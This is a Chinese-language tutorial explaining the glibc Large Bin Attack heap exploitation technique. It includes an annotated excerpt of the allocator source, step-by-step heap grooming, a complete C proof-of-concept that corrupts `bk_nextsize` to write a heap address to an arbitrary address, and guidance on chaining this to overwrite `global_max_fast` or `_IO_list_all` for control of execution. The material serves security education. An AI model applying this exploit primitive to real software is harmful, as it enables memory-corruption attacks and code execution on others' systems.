学习 Large Bin Attack,最重要的一点是不要被它的名字吓倒。虽然它属于高级的堆利用技巧,但它的本质其实非常简单:利用 glibc 在维护“有序双向链表”时,缺乏足够的安全检查,从而让我们能在一个任意的内存地址里,写入一个堆地址。
我们先抛开复杂的代码,从 Large Bin 这个“仓库”的特殊结构说起。
第一步:理解 Large Bin 的特殊结构
在你之前接触的 Fastbin 或 Unsorted Bin 中,一个释放的内存块(Chunk)只有两个指针:fd(指向下一个块)和 bk(指向上一个块)。它们构成的是普通链表。
但是,Large Bin 存放的是大于 1024 字节(64位系统下)的大内存块。为了在分配时能快速找到合适大小的块,glibc 对 Large Bin 做了两件事:
一个完整的 Large Bin Chunk 结构长这样:
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; // 前一个chunk的大小
INTERNAL_SIZE_T mchunk_size; // 当前chunk的大小
struct malloc_chunk* fd; // 物理相邻的下一个chunk
struct malloc_chunk* bk; // 物理相邻的上一个chunk
// 只有 Large Bin 才用到的两个指针:
struct malloc_chunk* fd_nextsize; // 指向比当前组稍微小一点的那个组的首个chunk
struct malloc_chunk* bk_nextsize; // 指向比当前组稍微大一点的那个组的首个chunk
};
关键点:fd_nextsize 和 bk_nextsize 构成了一个跳表,用来在不同大小的 Chunk 之间快速跳转。Large Bin Attack 的核心,就是伪造 bk_nextsize 或 bk 指针。
第二步:攻击的触发原理(解剖 glibc 源码)
什么时候会触发 Large Bin Attack?
答案是:当一个 Chunk 从 Unsorted Bin 被放入 Large Bin 时。
当你调用 malloc 申请内存时,glibc 会遍历 Unsorted Bin。如果发现里面的 Chunk 大小不满足你的要求,就会把它“分类”放到对应的 Bin 中。如果这个 Chunk 很大,就会被塞进 Large Bin,并且按照大小插入到合适的位置。
在 glibc 源码中,插入 Large Bin 的操作有这样一段逻辑(这里简化了代码,只保留致命部分):
假设 victim 是我们正要插入的 Chunk,fwd 是链表中已经存在的、大小比 victim 大的 Chunk。
// 1. 设置 victim 的 nextsize 指针
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
// 2. 更新原有链表的 nextsize 指针
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim; // <—- 【致命漏洞就在这里!】
**仔细看最后一行代码:victim->bk_nextsize->fd_nextsize = victim;**
如果你能利用某种漏洞(比如 Use-After-Free,UAF),在 victim 被插入前,修改了原本躺在 Large Bin 里的那个 fwd 的 bk_nextsize 指针,会发生什么?
假设我们把 fwd->bk_nextsize 篡改成 Target_Address – 0x20:
(Target_Address – 0x20)->fd_nextsize = victim
Target_Address = victim
恭喜!你成功地在 Target_Address 这个任意地址,写入了 victim 的堆地址! 这就是 Large Bin Attack 的终极奥义。
第三步:手把手实战推演
我们用一个具体的场景来走一遍攻击流程。假设现在你有一个 UAF 漏洞,可以修改已经被释放的 Chunk 的内容。
环境准备:
你需要伪造出一种特定的堆布局。
攻击步骤:
释放 B(进入 Unsorted Bin)。然后申请一个比 B 还大的块,比如 malloc(0x500)。这时,glibc 发现 Unsorted Bin 里的 B 不够大,就会把它转移到 Large Bin 中。
此时,Large Bin:[ Chunk B ]
释放 A,A 会进入 Unsorted Bin。
关键动作:利用你的 UAF 漏洞,修改躺在 Large Bin 里的 Chunk B 的 bk_nextsize 指针,将其覆盖为你想要攻击的目标地址减去 0x20(即 Target_Address – 0x20)。
再次申请一个极大的块,比如 malloc(0x500)。
glibc 发现 Unsorted Bin 里的 A 也不够大,于是也要把 A 转移到 Large Bin 里。
glibc 开始排序:发现 A (0x400) 比 B (0x420) 小,决定把 A 插入到 B 的后面。
glibc 乖乖地执行我们上面提到的那段致命代码:
A->bk_nextsize->fd_nextsize = A
也就是:
Target_Address = A的堆地址
第四步:我们能用它来做什么?
你可能会问:“我费了半天劲,只能往任意地址写入一个堆的地址,又不能写我自定义的数据(比如 system 函数),这有什么用?”
这正是 Large Bin Attack 的精妙之处。它通常不作为最后的绝杀,而是作为破局的跳板。最经典的用法是:
- 劫持 global_max_fast 变量:
global_max_fast 是 glibc 中的一个全局变量,用来限制 Fastbin 的最大尺寸(默认通常是 0x80)。
你可以把 Target_Address 设为 global_max_fast。攻击完成后,global_max_fast 会被覆盖成一个巨大的堆地址(比如 0x55xxxxxx)。
从此之后,任何大小的 Chunk 释放后都会被当作 Fastbin 处理! 然后你就可以愉快地使用非常简单的 Fastbin Attack 来申请任意内存、修改 Got 表、拿到 Shell 了。
例子
这是一段经典的 C 语言概念验证代码(PoC)。通过这段代码,你可以直观地看到我们是如何利用 UAF(Use-After-Free)漏洞,将一个堆地址写入栈上的局部变量 target 中的。
#include <stdio.h>
#include <stdlib.h>
int main() {
// 我们的攻击目标:将一个堆地址写入这个普通的局部变量中
size_t target = 0;
printf("攻击前 target 的值: 0x%zx\\n", target);
printf("target 变量的内存地址: %p\\n", &target);
// ====================================================================
// 第一步:布局堆内存
// ====================================================================
// 分配一个较大的 Chunk A (0x420)
size_t *p1 = malloc(0x420);
// 分配一个隔离块,防止 Chunk A 和 Chunk B 在释放时物理合并
malloc(0x20);
// 分配一个稍小的 Chunk B (0x400)
size_t *p2 = malloc(0x400);
// 再次分配隔离块,防止 Chunk B 与 Top Chunk 合并
malloc(0x20);
// ====================================================================
// 第二步:将 Chunk A 送入 Large Bin
// ====================================================================
free(p1); // p1 释放后首先进入 Unsorted Bin
malloc(0x500); // 申请一个更大的块。glibc 遍历 Unsorted Bin 发现 p1 不够大,
// 于是将其归类放入 Large Bin。
// ====================================================================
// 第三步:释放 Chunk B,准备触发漏洞
// ====================================================================
free(p2); // p2 释放后进入 Unsorted Bin
// ====================================================================
// 第四步:漏洞介入(利用 UAF 篡改指针)
// ====================================================================
// 假设程序存在 UAF 漏洞,允许我们修改已经释放且躺在 Large Bin 里的 p1
// malloc 返回的用户态指针,其索引偏移如下:
// p1[0] -> fd
// p1[1] -> bk
// p1[2] -> fd_nextsize
// p1[3] -> bk_nextsize
// 我们将 p1 的 bk_nextsize 篡改为 target 地址减去 0x20
p1[3] = (size_t)&target – 0x20;
// ====================================================================
// 第五步:引爆漏洞
// ====================================================================
// 再次申请大内存。glibc 遍历 Unsorted Bin,发现 p2 也不够大。
// 它试图将 p2 插入到 Large Bin 中 p1 的后面。
// 此时触发致命逻辑:p1->bk_nextsize->fd_nextsize = p2
// 翻译过来就是:(&target – 0x20 + 0x20) = p2 的 Chunk 头地址
malloc(0x500);
// ====================================================================
// 验证结果
// ====================================================================
printf("\\n攻击后 target 的值: 0x%zx\\n", target);
// 计算 p2 的 Chunk 头地址 (用户态指针减去 0x10 的头部大小)
printf("p2 Chunk 头的真实地址: %p\\n", (void*)((char*)p2 – 0x10));
return 0;
}
核心偏移量解剖:为什么是 – 0x20?
在 64 位系统中,内存对齐和结构体大小是固定的。这里是新手最容易卡住的地方,我们拆解一下 glibc 计算地址的过程:
- prev_size (8 bytes,偏移 0x00)
- size (8 bytes,偏移 0x08)
- fd (8 bytes,偏移 0x10)
- bk (8 bytes,偏移 0x18)
- fd_nextsize (8 bytes,偏移 0x20)
- bk_nextsize (8 bytes,偏移 0x28)
当 glibc 执行到 victim->bk_nextsize->fd_nextsize = victim; 时,它在底层其实做的是指针加法计算。
它读取了你伪造的 bk_nextsize 的地址,然后强制往后偏移 0x20 个字节(也就是 fd_nextsize 所在的位置),把 victim(也就是 p2)的地址写进去。
你希望 victim 的地址精准落入 target 变量中。
如果你直接写 p1[3] = &target,glibc 会把地址写到 &target + 0x20 的地方,这就写偏了。
所以你要提前减去 0x20 补偿这个偏移:p1[3] = &target – 0x20。
这样 glibc 的操作就变成了:(&target – 0x20) + 0x20 = &target。
终端运行效果预期
编译并运行这段代码,你会看到类似如下的输出(由于 ASLR,每次运行地址会变,但相对逻辑是不变的):
攻击前 target 的值: 0x0
target 变量的内存地址: 0x7ffd5a98b2c8
攻击后 target 的值: 0x55982c7a06a0
p2 Chunk 头的真实地址: 0x55982c7a06a0
可以看到,target 原本是一个毫无威胁的 0,但在经过一次合法的 malloc(0x500) 操作后,它被 glibc 内部的链表维护机制强行写入了 p2 的堆地址。如果在实际的漏洞挖掘中,你将 target 替换为 global_max_fast 或者 _IO_list_all 等关键的系统底层变量,就正式掌控了程序的执行流。
网硕互联帮助中心




评论前必须登录!
注册